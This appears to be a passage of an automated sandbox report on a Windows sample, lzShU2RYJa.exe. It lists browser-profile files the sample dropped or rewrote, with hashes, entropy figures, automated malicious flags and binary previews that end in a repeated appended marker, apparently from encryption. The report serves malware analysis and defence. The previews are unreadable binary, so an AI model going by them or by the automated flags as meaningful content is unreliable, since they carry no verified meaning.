Entropy (8bit):	7.625975067287636
Encrypted:	false
SSDEEP:	12:bZP8Nog/oR8mI3eCNGreRkXGxolR0vXgH3njwN2Xbj9e5jVcii9a:tlbIu3KiKOR0PgH3EN2Xbj6VbD
MD5:	59F0E0F3540A74F474315B6350E881B0
SHA1:	2E2E5633179468CCE03A35A334253715611FE423
SHA-256:	016948AF80DFDE5E3A42F511CCE5AD4F459468B172F0568006B901BFCA4ACBD2
SHA-512:	5C01DE2A18E3AF568FC47932EF84A80EBC11312958EECFC0A3C5A5763F9F3BAD8182577053F2AC5FC67E5A3642C48B7072A620CF3140D1875BD30B21EC45AD19
Malicious:	false
Preview:	a.a.....H]#{....CmR...s4.....e.a....<N+....G....3D..%...N6..?-z.B".c....`.r...s.....:.......@'m.'....=v..H.....`.Qk.)-.g6......p..P3..e .L9@'K...V..#..D.U....tEt.f*...r..$@9U... {.'b.w..8l..h.r...j.....=............L.t..G..R.,....^..j..........U~..<u...J+.j...@..=uh.v<.b..-1..w... .+Ey.}...K!Zq:..x...U.x...D.'.=Y.d5F$.k!ats?.....ji..."............!..sO......m..{....,.j.Zq.....0.&V.S..~..V.#v.@.)e..p.S..5...3f...R.Mp.<r..6.....L...KCi.?+.7.eA.)s..u`Q.vsP.o.d.Kh..o.Y.c...gzd..^..4...lV.Pu({..l..9....\........mL..._L...itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Session Storage\000003.log

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	2713
Entropy (8bit):	7.928206916119671
Encrypted:	false
SSDEEP:	48:f7Th1mM+Gt0X66RNKbUBPZRTAKZw6DlwtBO+zPZSMBsmkJ8LPt1pmhWd+FD:DTh1mlGaXRBPZuKZw6DGjzn7h+9
MD5:	CE04BB778A41DBE17FF1C028A1FD86FC
SHA1:	C51EDD458508CCCFB34C96059677B0CBF53A2C91
SHA-256:	59B10161E79084C13B5AB3F053E744BD03771CEA553BA24E3DBF886C7DEE7E49
SHA-512:	D22F8698A3A08AB7346C0C6F20C9062CA18AA0B36B773C9CB9253A2EBC156486C60911F7EFA2E3B21E0A6D13510EDBA45DA6FE723E6E4E67B7893CC05B84E411
Malicious:	false
Preview:	...#f.~.....Z.5....H.q......0....}.[."S......SR..+.:..o......%_.X...G..ekH.5HUS.j...]..h.J.P.F....#.q.C...]....z-....<... .6....9L0,Ye)G..gu.4...N....0.......N.J.....sr.a.!.LLYzg.9..Y/.E....Z.>=5..._;.+^Z...~h.("X...cl\.62%.........P..../f........BC.....d5.!.w.!A{...sB.'.......F..?.rO........k.....6i.4a.}.NiJ.......r..r.GTiixh.MD..!P....P.8w.&....(}.N...,...Gs....t..Z#......w.Q.ITF...1.]..Q.d..._.2..z.....R[.VK.GK.J...:....)....{...]....Z.a..r.&..../y)..5~..xw..A....b..k.}.....`{j..g.%.F.{8.7Y%..T...89..EWi./ @.....~.A....9V...P.......W.....\u@4...\|...cf.T......6...I..=_...e..S...].r.rl0.`.w(t...m.l...d.,z^.,.....k.4....#.D...x...;p..D..5...J-.. ..vY.w`}*\|.nq>.f.F.<78....]....\|!8%...v..>.\..lI....f.i..^...$+..,.....k....fc..Dk.p....,.>.z .."1.q.5ic.H.j76.\.~-..8........9...5S'_y.V.K.!..1$..z.......;._C,.....}6.i0=._.&.").v.4C_..5..q...2.._...j.....s.,...Gn.s.m.?r."........O2j..c..@..Q......Z.I..0..,..Ia.j.vJL].....-.-...1!..r.....e...U0..8

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Session Storage\LOG.old

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	654
Entropy (8bit):	7.6629157186859285
Encrypted:	false
SSDEEP:	12:kIbYXscenpUCWN81gdYyqzn9u71YZq56zZ4eXoaNwrmV4G9LlavoTSwAjVcii9a:W8kVNCgCyI9SQqki8oaOqV4G9Llnu5VX
MD5:	23BCB236575BD8409B412FB8397CEBB1
SHA1:	7093D49BBD2075944E2748A86945A494C563D541
SHA-256:	DE9EA83F24FB080998AE8AC818FE0DFDAE383BB451A40080C0855A90FF311FFC
SHA-512:	0124BC0C5D822D7E7B20D043B123E9EB4CAC8ED5A8C9C553AEC0FCD94C73084AE134CB7D98261F3A4B687CDCD891BC1DF704783EB43CD0ABF616DB538FD69EB8
Malicious:	false
Preview:	2023/...-.'3....D.#..5.H1...9.4.........:.f.....4..J.iB.q..h....h........O..6.3..P.`..Y....[z.L.....s1.Vl...a.....3H../.:..!.V..\.<..l.....R.h..N..f...a.0.l.......pFo:..1Haj.....?....)g...H).....Jh.DJA..j5'Ab...$.......>.U.W......C.'~B>Z. .y[G...Pa...y4.........R~G...M...b.~..T^.Vj........V.#..:sZ.=...;...."(.S.?.D..D.....4..c.L.l..!...0.Pe?\|X+..7u..9..9Z.(TE!.....".X..J.2...O.H.P.J..G.Sz......)\|.c...]%.L..?....^....)....O'xnC{..P.d...`^...Q.#.1.[G...h...<.m\| .(....6.......>W..p..q8..l.$......3..Xj.Z....l'.p.U...#m..&....+.8.W..(E...eitkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Site Characteristics Database\000003.log

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	446
Entropy (8bit):	7.4279901770954995
Encrypted:	false
SSDEEP:	12:u/HaaHbL6GS6QmrBE+BX+sDwwgjS5jVcii9a:OaELXVBE+OsASBVbD
MD5:	89B4E1DE104D3703BFC10AD7A85835AF
SHA1:	4C9BA9E5CF955B3A7E726A81F5AF0977BA440B48
SHA-256:	A9961D114BBA48971230D20233DA51A7A2C9E3BDC570852365186F54EE08ED9C
SHA-512:	F34ECEDF8FC3A96EAE99EC2BC4F02F1F02C363BAFFD478FB213B8239ACFD3C89E890AC3442BD296C5DCC17123B0505AA2EB78B2150E5DEDF4EF78EC0D784EBAC
Malicious:	false
Preview:	.On.!.6..mN..(rz.._\|.X.@.k.3.J."92u.@rB...W.0....(..g....SG.......=]T].SD.\..0U.J...?.[.Dd...,..lL...+E'......V..K..s$..@....q..9o.N2a.....i.....k].....C.....o.....L.>...s.."&.lm.t$...uC,t...g.>....5^....E8.h......N.a..{;.....9...`..c..8...k...l..:.@.M:l8G...r..I...O\Vhx..].{...b...7....,.....O..1.....(.b:.`.....`...;....#+.uU>.4./V..#..L.uv..J..s*...itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Site Characteristics Database\LOG.old

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	682
Entropy (8bit):	7.665681282543214
Encrypted:	false
SSDEEP:	12:keiaV76JJO3RomcIYDwAw9mqijPgpS7ac9EVImK8iel3g/UAzjVcii9a:BQGomcINmBjPgpS/EVtngrVbD
MD5:	552FA10CC8222B32CAEB9CA446975895
SHA1:	2BF48D68FC9D0BB93482122EB79B14491E7CC4EF
SHA-256:	F1B7008FF6075B4592AAB2B2677AC91ED05B27FC0B126E1024F59153E79E7B1B
SHA-512:	4FD76AF01EDF02C0AEA6C9BC80083295C2B05078E152C86D6CF93EDE401AE16EAB87D5610E50D202EF58CEB73A744964CE7736F3C939BA7482CA13E80618B46F
Malicious:	false
Preview:	2023/..l...z..5u..B...[.t..@/gu.O...,.T.....4.2A.:....fi.d..R'.6\|...8.}/\$aO.Z`...n`..`.O.m..W%..L..b....l.,..+VY.\...;../..[.yW..`$..X.6.w......-"Q...J...=..5.2<z.N.............l.\j._..\|....`..^.G+.X2SD.j.R.I....X.......B..^..c..p..X.a.)...U4...g.r~p".<.J..:$....b.u..Y.x.....%"...C\..,.........N...S!..LOy...3..N.l.v.SW........6..........=&g.....e..F...`}.B-..h.E>.....X.`..5...5l.Y....8Pox.:9(..".8JI3-....8...N.>..(.<.H?#..*.9..g..._....m.g.k)...6..~.;..q.B.5.B...&.....@..l..M../Q.O./..........G...[...n.....x.T.....+yx..)..;.....z...=..23.E.c[..]5.Aq..MM.2..Q.#`itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\databases\Databases.db

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	29006
Entropy (8bit):	7.9930636874828425
Encrypted:	true
SSDEEP:	768:UT8shF4HRj/zn9Zl9cme6DWJZj2LGdxmp0w7ef8G4SFF:UT8sYxj/z9b9n6zsGdx25e0nSv
MD5:	0EB4B296188A48FE15748D19F2CDBF5D
SHA1:	A0EA6976F024D7B851CD10913528C9672B855885
SHA-256:	1A8DECA81E263F0982C77442949295A8E8C33C6C9A398DCF8D55AC4565961C1B
SHA-512:	7A7D790B0F228F1A94CB7C65A60DB01CC2924E010F75195ECF1E910C671E10FE8061D135F4E9C284DF4FD3F414E35FA6ABFC5FFA2ECD49D5B52ABBBEE2B72F3C
Malicious:	true
Preview:	SQLit.....V.u....<..c....<S.....1..S..X..%K..F...b..s.......>..m....6...j].....s...a.....?...>.b.J..I.`jY....j..S".Q.5..^.:..l.o...Q....~.\|k..b....&N"$_.....(.1..M...}.Z..%...?........Kx....?.......X..<....5..J>.V..!ax..#.1.)...Y.{R.F.isIJh$..K.............zj.t<_:..;....J........_.f....".[.v$...=IDK.e...z7....0z`.seb#...#.s'.Nr.......b.v..}.L.X(X.'.L:...@4J.....y.H...K...<..!Q.c.#}.,..].T.,......&...e.ao.....M......c&Y~W.R8P....[.,.x.....L6.J....=...G...]Y.t~s........k..........1.t<V'=&.t..(#..t........5.V.A...].M{O...^....2eW@{H.d.A_..@N.K...PR.S..3UX..;C....%6....K.B..pB......+x.-.v..CGltD....50_M.7...m._.'.'%....".......M2...3.p..w1...aS,.}O..68....R.C&..B..L._h.Ws...4..Tw.......!APICv.....)"D....\|....\|uH.....e0`...,F..2.t..7.Pj.....T.3.....M.JX.G-(.@./E.Le\..i..p..X....._..3T..C ..P..g...(.8..jI..{g.4....%.v..gGnD......7..."..>.8..}..=.D....(....+sj.....N.d..}5..O....P....\.n{..IiXG0...oV...=`h...T7../."...R.%.Q....k..du.E.

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\shared_proto_db\000003.log

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	77068
Entropy (8bit):	7.99790799048361
Encrypted:	true
SSDEEP:	1536:KCfpmt08rZP0BpgBAxVpqq3VLL2PZY6y5UrblGca9R9SqL:KWUJr6pgBAxVpqq3V/AXy5UtlgRIqL
MD5:	3C955E49D527411FBB94CB0AA1A0BD13
SHA1:	38226E1BCBF22C48ED8F07F47FC2ABDC1DD0CE19
SHA-256:	94A33F7B11B1501B1105EDB685E134E661866EBBD8E3A4EC83A26CB6E0B6715C
SHA-512:	A8FB207F2A0A4F1CFB4F8D42C78E4E5DE877CCCC0D5FF5E77042BE1CF99B2062C991F5FE36550667EEFCB16551BA8B0A5E66546255D0C40534D1CB682B771159
Malicious:	true
Preview:	A..r....Fz...\|n...KU..v..@..$.M@....D..?~>.=/."..;.\5..c.....S.....p.&v.;..I79}$...4._.y..Z-..4.,..".}.\|....b.,.....O.J)+...o..\...HVL...{.\|..%..e..y._d\|.\|T....67..q.;..h...V.j.x-.....(-...aP.0@.qH.....Ru..\|F...3.ryd&...J.>...<.:..z.. M}.u.j.....W..r<..<......C6.Q.....8M.o....p.<&fx...9...f....1..x.\.......H./.2..U.=.....n......vb.Up.. ."..i...-&vHe..j.-2N.+VU.x.W........=..L.F..DpM...;w3.z]U....,.6[.K..%.`-`....a.3..~./.I....)...y.[$S.......Sn....z...BUY[.x..E.!.[P\|..X(..W.,..K.U.R\|..%....2.i59Q.s..<....J.k...3.<...5.=..&]}...U....1F.0....LK~=......I.[U..@...v.L.F[.7.zf{r.'.Sh..%.;......8..,0}....E~8.... .}.\UZ.~...cO..7..I_.sf,....p.H)/.[..^A.M.R.q.L.H#..D..@3.y.._w.7.#...B..b.U9.F...x.....P!&....%y.....Y..s..?..WU+..[..\|.<...1e-ai.T.t.U.eh...Dt.S.$.'....4..aeF..4....Rx...]k.f..G......l-T.......9...../[......l.@]=t_$(.Z..mZ*_.o..-........P..u1.SM..\...P1.$..._.}...).....aD.}f.eY...ko6..l.`..kP_..s..L.....g......S.......g.[.,.vY\$M

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\shared_proto_db\LOG.old

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	654
Entropy (8bit):	7.565774020961342
Encrypted:	false
SSDEEP:	12:kMQQrARyomfHImT+1WmeWAZ4XXhE8OVvicykrMX/1MgougWhjVcii9a:PQ5yomfHR+I1Z5Zicyku/xouzVbD
MD5:	8CD978A376B89FEEA42A4BC8BF63673A
SHA1:	3B9CDFB03A2DBCA23382600F603CCB7F914BAD38
SHA-256:	8EF2E58B4C21BB7736EB6734AF8FA2FBE9E7463C9FB7E376FC7FC3CD489913DA
SHA-512:	0D19C382966848948005C7AB3CBDAF3E724F0D42BC1A9D9B2BB5C303D2FC0BF0B3B95308E465D5ADE26E27565B11E1A720FA64A5874A6F8B71D21720F2B14A7B
Malicious:	false
Preview:	2023/...qa.7 .,...6?.\|.....kqQ.k._.k..6.{.._\|2...f.03.A..D4......vm...W.{b.d.AHng\|...."f.5u..P.B....$.bH..I.... ..><..y......F<a1..e43........A..a<K.o.g.F.u.3..h..........C-.2.:V..Xu>s.'.&/&.j..QW.G.l..w.zN..Q...pc.G.Y4. ../]..M../.\|:.S9t..1......A...7.l....T@.unQ..T&./j?#...FmCf.1.";Q...cw._.FB.sd....}D}..X.0..$.G@.}Ip.t^...W#^T.!....qw..@..,.JWw{.0....B..f........~.],Aw.}D..j.&..=y......d~K..o.O..O.Q4.!..j.:.x.E.I.-B*..Yv=VD...\=.zi.iha.Pi..SQ.!.t...}.VN.\|.v.2..j2.j3.. ..."I..u.}....8..]M...p...N..........i.m[r.(y...t.....$w.f.yk..4..:..s.on8.......6itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Google\Chrome\User Data\first_party_sets.db

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	49486
Entropy (8bit):	7.99654093979232
Encrypted:	true
SSDEEP:	768:ryoKc50w+GGECqbZ9ntx4scnHhZudGFYKfNVPfJ8YfvYiCKQsKvto7mvUj3x:rydcnGIbZB4sQhUvK3FvLKvUt
MD5:	DD529037866ADEA0E0C2F1E4ABF7F09D
SHA1:	2551695D04D3EC130530CC58525012006BD57142
SHA-256:	6B7585AB0D5E30470655B6EADC78150E5A775132DC88045DFCC6DA1517228EA6
SHA-512:	B2CFAE18DC02E90C7DAE083E793444719B76F17279D67153325A687021DC656D49E1473837CB1C58F6B0DD4A3C1EC9BCA6650E0B81057B93AEFB7440DF5CA721
Malicious:	true
Preview:	SQLit-.~b"..$........A.)\. d...;..Y..+B.h.v.m....x....q..T{M.(.3........eq..}l.k(...7...!d..J....K....,[S.a.U.......k....K.....<WDV....c.Q...,.......]............a.{=.q.o...j.]._.1M......f..ZT..&..Ap..k...#.....n/^....O.b.D...\|.d.F.....>.....E,k.....R.>....H.kh{..%.z;..F....1.."....#{..{T./............d.d.i....c......9.5.~,...:.e...(.....M..L..k...dG..Lw8.l.c..u... .\.Lw....u;;......U.Y@R...a.>.`r...<'.>aRKfb..J...\.i..D:.}..#.\|.Bc.0.....8<G..o..:^".....!.3..f97...........^.P,.Xb.....jb.7..>h...k....9.........#...EU..>.M.p@.K.....O...........%D.SM..4u..1X....i+...`N..&ln....!~80...1Cy.bT..Tw.....s......,&~Yo.T&..S.l....P...2@.B.sNh..B.4..[.hw.oZ.<...I&..h.......2....-...;...Y.m...c..2p..O.1{....j..-;.G.d...j.j...O[.N...G..S.$.`).....0,.&g...3<d.Hb^...R............#O......UN.u}.....0/......q7&Bqe+.W..Gay..c.?.Vc..=..v..g.Gx.O'.6..f.+gg.[..8..7.#....]@.o..........S..J..W.....yw.l......r.P{2c..W....o......Pbf...y.T.(..

C:\Users\user\AppData\Local\Microsoft\CLR_v2.0_32\UsageLogs\unarchiver.exe.log

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	354
Entropy (8bit):	7.277233534690029
Encrypted:	false
SSDEEP:	6:QrinNQCuam+wRy7kXW5p7QFjHxMrpR0Zp6iC4CPzijLs1W2C/zjhPcii96Z:QeNxNm+wRy7kG5CMRjb4CLijLscFjVcq
MD5:	D02F19F438B91DD1A06D0CC0CA7E2CAF
SHA1:	88764CD2A49656DD8429C85751A78E03806E1C32
SHA-256:	018A0F0884627D8482DACB42CEA3F693E14949FB07E95A579AF6978D8AFD63CE
SHA-512:	82EB19A2436CAA42B231D9C59B1100A1E8DE8E8E35896FE4279EF8736B45AEBA85D59407246DAAA4DA79EE3AB4118130BB4B9A480BEA9650D77C9F1BEBAF1835
Malicious:	false
Preview:	1,"fu.........e..._V...:m........3....).....:.H.....s......M......%.1+.....C..\...7X.b.%...p&...{..<.............J.`>..A.....r.*S.N^..vPD......1.p,>Y.b2..j._..\kWtV.N'..[...=.o..pf.V?.R.U...U^Y.V.y...tq..v..4Q...}c~..Z..4.....Fv.0....r.U~....91r.8U......Q...0]X...itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\InspectorOfficeGadget.exe.log

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1210
Entropy (8bit):	7.827123262379444
Encrypted:	false
SSDEEP:	24:OaJfE1at/J5ad/U4A2avunAZivT3OTW30VMziNKc3uTsrPJpiVbD:7mcBadMX2NAkrIW3SDX31JpiFD
MD5:	D750B30DF1E1B5E13EAAB0D5CA7F78A9
SHA1:	E6F4B8B5479D7592FE30AFE3E802F78D484C651A
SHA-256:	C9BA4F7D6DC373706D4765EA4804D4A0508B5D4582DEA98845F42C4F7A548459
SHA-512:	FF292DE237A35801A96D16BA7BFF1DCA0A522EAC9B68A9D9CFFAFFFBBDA1A6D2D928F304297BF0AFA45D67E09B970353584D5058425830ADE2F265CDBF8A8C4D
Malicious:	false
Preview:	1,"fuZ'tY..Oa..1....q..M ...3...T.......z.[....R_B...:.......`.k..Of.A..}_Z.aK.-...'O~.....M.X...B....pV..dM.+.9!.Z.NQ.W...j"..qgy..w#....Pp+.!~..Ul....t.N..7..d."6......4U1..`.c.i..8:....\|\(.af..w..!.+k..[w.Iq\|.}.B..$..pr.B.........&.?...P.>6.KtT..`.3..)....Kj.d?'r.E...~..Z9\...cGt{.#....O@..G.G`..b..._ky.I....WQ.R.}k.h....2.Om.b..o1..8'..3#y..K...L.'...Z....L..$.f...uq.t.;.e..zOd..WB....Q.N.v...;_.......H;..j.a\....@.o."........>no..D..C..1.1...'f..v.K....i.)hY ...4.;.sY9.......a.f...Hf"......i.....ydWQZ.:f...YM.+\|2Y0..!...}..'......6.LF......+....O_..)B.fY8..,..B......M....@Q.F1...+...Y..q.C...8.M.r.0X(..6.wz).]..D. ...i...,!>..b.d%P4.....!si...P..i._.K.1.sMo.^.L...Q.>.1.Ra.a..S....G..<.N...z<....E.......n. .I\|.,....n..2.....I..&..-.-.d>...J.{.. .]..?b..4y.E.....Y.F!.....]5.&r.U..:0..;..D./...n.'p.j..^.^.B.?.r9y..t}H....<........8...=,.5n!)....`jU...V..(ZS...._.].(.....S..j....1...@:R..E..>.b/.~.U3....:3.k.n..........<Y.E5..&r.:.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\CrashpadMetrics-active.pma

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	16718
Entropy (8bit):	7.987975788307985
Encrypted:	false
SSDEEP:	384:9pDAD7vUQ39cCrXI9El1SNjJS4VRyJNiPhvr6Mj4imj:/c7vUQuCPIhVRy3i5vuMsp
MD5:	EF27BFF0BE6FA98A3035F19A6BDBCC7C
SHA1:	E6F2D1C42014D539B3D8282E823F2D54A578FB5E
SHA-256:	10DAD94754E51C63143161549C0315E4EA033BB0BC762975CE0A6FCB8DEA5C03
SHA-512:	9CFBCEA8CB4C5F5629847F723CC677ABBCE8BD14B7DFBC76895E5383E2AD4774510F8CDA2B0D4E0313B6AF61BFFD6FF263F1E13D55C35AD3B762E6D637607F98
Malicious:	false
Preview:	...@..H.mhN..9..EU..X.........%.}.....t....."..kH..Y.f.....H._.9.:.Wf....-..Y../...Gu....[.A...^!...V,...9W.J.L..v.~..G....lj.1.y..B.{k..u.%.....`.>aAu=....(..u.._@]')..xo.O..x_.@. ....;v.t..P$.............q...H.D..,2g`..k....E.;...Z;.).@.....8y.z}.H......12.H....=q.T...M.._..Z(]..K......&sVI.... .yR}.^S.<+]W,@Z.$.Y...o1.%M...X.{W..ti..[a6B\Z.....\1.X..f.].Ty.jd...."{........M.]..$..l?...'.g0).LSY..J..c.........8P.. .../...q.............r.na..)8..~....Q.w.H......z..R=..a+.3.hC.=..5%..Ud...(-5.d....r.....eQ.PW.8u.j..U..q..d1.V..d..-.S.....F...!.b..........{u....^[...lEz/.G..o...9s....2@sj.v.b&...D.......3...H..M..,..S...:....c3bu........+wR:[..R....I428..2K....].1.l..(...#......t..%+..r=..P......sP.o..~..&Q...'.s....m...w}G.,..L.Kn..~"Lb...my..az...B.....41....6..yD1%..ba<.Dr..RxO\a.+..b..:....c#...o.\....;k.Dw6...W....JY........,g.cv8...)P.d..` .L...i.BH%P...X..%...1Cx9.[6.m.$.U...S&..9.U.W-.D..,....j?!q.....d.B.+..o...erB].......?......0..8

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\000003.log

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	904
Entropy (8bit):	7.7655917956789136
Encrypted:	false
SSDEEP:	24:X4Zttf2ViPQ/oayQe9cP7hkZtBEHf3EsI79iVbD:X4EIPQgayNZtBsf3/QiFD
MD5:	B303F03CB2F0C2C912980C11E0C1C70A
SHA1:	01FFAAF6172499E8389FC6C0632C0BE4DDA5D723
SHA-256:	F11213DD6A88D442DCD265EE64BC49A91F8DCC20FA1C2763DFEA69DF25C84CB6
SHA-512:	762109518608901EF364F84FDB5399E48F985C54ED781BF9F6CCBB159FFC1BA0A0ADD8C004196FC9B4B015950714467EA439FB07957DAD8A0005A6F759F37C20
Malicious:	false
Preview:	.f.5..m....u..WSX.....d..Rjkg.......t.'.......2u.\..1#e.1H...5p..V.b.:....<....^..%.+..>...]zy>y.E`]f"....A....F[.5j.y.v........"...._j..J.^.X.[....n\....`.?nJ.....H..~kMe....T....s.'...._....>`)K...+a....Odm.{s.g.[ ./.?.@5..m..U....K....Q`7..=b@u.>........".I..M..'..h...mY.g...L...P0ej..0.q.....p_.&(..;.3.Vw.g+......lFjI....{...8AQ......A.....C...'...A.j.)..e......o.....u].E5.L.$m..2I.]@.jLJ.t. .W+.X..........\|.2..?....S.._.._d..-.CRw....^d.@?..y....T...Wv...EG.rY.Z...5.w....<./1.M..a...(d.CI.Z...k.6H.l.j\|....$............f.k.....Sw...k..p<n-...@.a..k.V....52.4.0}c....3.P..2.......-.hm".v.A.2q.F6 Iv...P3.......a..!_...{...`.)..,..%.@..... ...@..85W.....k..C}H&...h.7f.oS..k......'.i.....`..;.. .>..../.i..7..\|%q..x.Zt.....%....g6.(.j.C.....I..E..2...U.%.p[.....V.?...itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\000003.log

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	490
Entropy (8bit):	7.435864203556668
Encrypted:	false
SSDEEP:	12:SWD2UAyI9A22UkMFgnOuO6B6F22PGiuGtg13fjCRzjVcii9a:92r2U9FgOLQLGBRnVbD
MD5:	CD3837ED4803B6155BF4DACB1B667F57
SHA1:	E49BA3FC93A71EC35E8CB1D4D0C3E4C64D363E6D
SHA-256:	B1F4922C665B458B2D9B73FC86464980BF9513A552E7F94E8AB16BFB5FFA5C39
SHA-512:	A8B7912C7F10F6C826C6821980D7C89CA966118EAB97970B9C2AEAA96D5FCD5FD4F89757557EBF1779587AB452AC28365262B6AFFD6C1EB2CCEA52C0121AD0D7
Malicious:	false
Preview:	...#1....#E..E[r..,23v..1....g..p.j....K....5..C#j+..o.1...C......b.j.......7&]d}P.o.ymf.37u?z."G...:,.w..$..\8....a.T.......].`...'.dd..Z.o-%m.hf.&'...4]b.(s.vL..I5............;}g.......f\..[.nd4,......w....SI..I.@>7>q...HlI......zbQ..gz8..FY.....SxFn^....j_.o.6`........m....A.g[l.......j...K...P....T..L.....T.o.@8Ld...hpd......}.............p...s....c.._r.....9.y.I.N..J.........3..itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\000003.log

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	374
Entropy (8bit):	7.369204629728361
Encrypted:	false
SSDEEP:	6:JnODMYp+J5azgf4gvA+XeGS5gmR0i/aiIfqbmD2L0SxcyDdBzjhPcii96Z:JAg5akveGS5gASVMmD2LjaWjVcii9a
MD5:	84D60DC91A7F30D5F9E193577C86C79A
SHA1:	53A1E192DD68C96E77DA13503CB8DB2D34C61BA7
SHA-256:	A0A4D6EF13C87866630068B2CC63CBB45A9BE48ABEF49A9663EB0D3526D9708D
SHA-512:	4EE58651E3DC1EF84EF108F5F6F55C5B640E953E953D725C0E91B0D7770E5E11899B538614FFA30531A4FD3B9288DCF65B3D51C842D0D5BCB19DDE17FDB8480C
Malicious:	false
Preview:	.On.!....X...6$d.{..].$....).....:.22.......+,...o..c.....U69..D....QJ.....oa.o.eqy1G:.g..2./.M.-S.o9..&.iAa.....=.P.....U..uy>.1h.x.x......Aa..Z[..[..{cwP..ow?L.<...f...bn@R...}...$.\|.Uc.Z61et.....>.LW...l.Y...(.\.......e{......O.....7cV. ...]iB.#s..,...y.!.....C..U"9....AF D..qitkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\LOG.old

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	684
Entropy (8bit):	7.6828361616963186
Encrypted:	false
SSDEEP:	12:kkR2W6Jfgm8K3tTyAkdC058ki9k//BmenSM58MbvIHO49m9beAjVcii9a:z6f98KdJeOki9k3JnZ5J49LiVbD
MD5:	A4E415ED653D6150070412E536511469
SHA1:	1900F5A636244DFC22ECF10391D5320214C5428C
SHA-256:	F2CAB8093BF9C009432A31AEE54C8AC229CD2E519A4AC7807E6C40C29213B3E2
SHA-512:	04A2ABFEB1FE561523623D043F17ECDF60870A1FD33F0BF06F967D2C0E3F375C243E5E4FCD7514C9A627E09D356EB29203F617D76E86A10BB8C6086785675AB6
Malicious:	false
Preview:	2023/.O..y>.@......,-.W@.>.l...v.......4(...-.4<S..s..w..i.W<.....[i4..u...s.q~.j.Jz.....,...y....I.6H.....y8b..........."QR.z...Pz.....P.[..w.9I..$..t.WFj.P&.....Z.....-c.kFg.k.I. .O..!&t.......Hd.q..V-...d.r.".e.=...W):p..gS.O6j..IP6.U...&>..=.].r....{0.O.&u97}t.x..5.X...4T]3...N@H7......7..QL{..E....xN.Z..`T..Xtg..y.3..D2.v..9^...*m..R7}d........5.C.....'1._.......U.../MKt...&......."..#...[\..\|.$....P,g.s....$..q@......S..cz..kx....ds.0qi.@......~...K.]."..W .).,.vHH8?...B...S";....b@r...A..B........&.N q..v.M.SUl..a;...E...ma.s..'J`=...6.7!..z.......itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\remote\edgeSettings_2.0-2f9188b68640dbf72295f9083a21d674a314721ef06f82db281cbcb052ff8ec1

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	129419
Entropy (8bit):	7.998646411202226
Encrypted:	true
SSDEEP:	3072:rsnKJaiaUviG0ogcUXCHo4wK2RdN53o3E8H+VkgtkUNlLZb7yaT3:rOhUNz9Kgo4URdNpo08eVzGUYab
MD5:	74476EE42CEE5F4F31C0AEB95932C33C
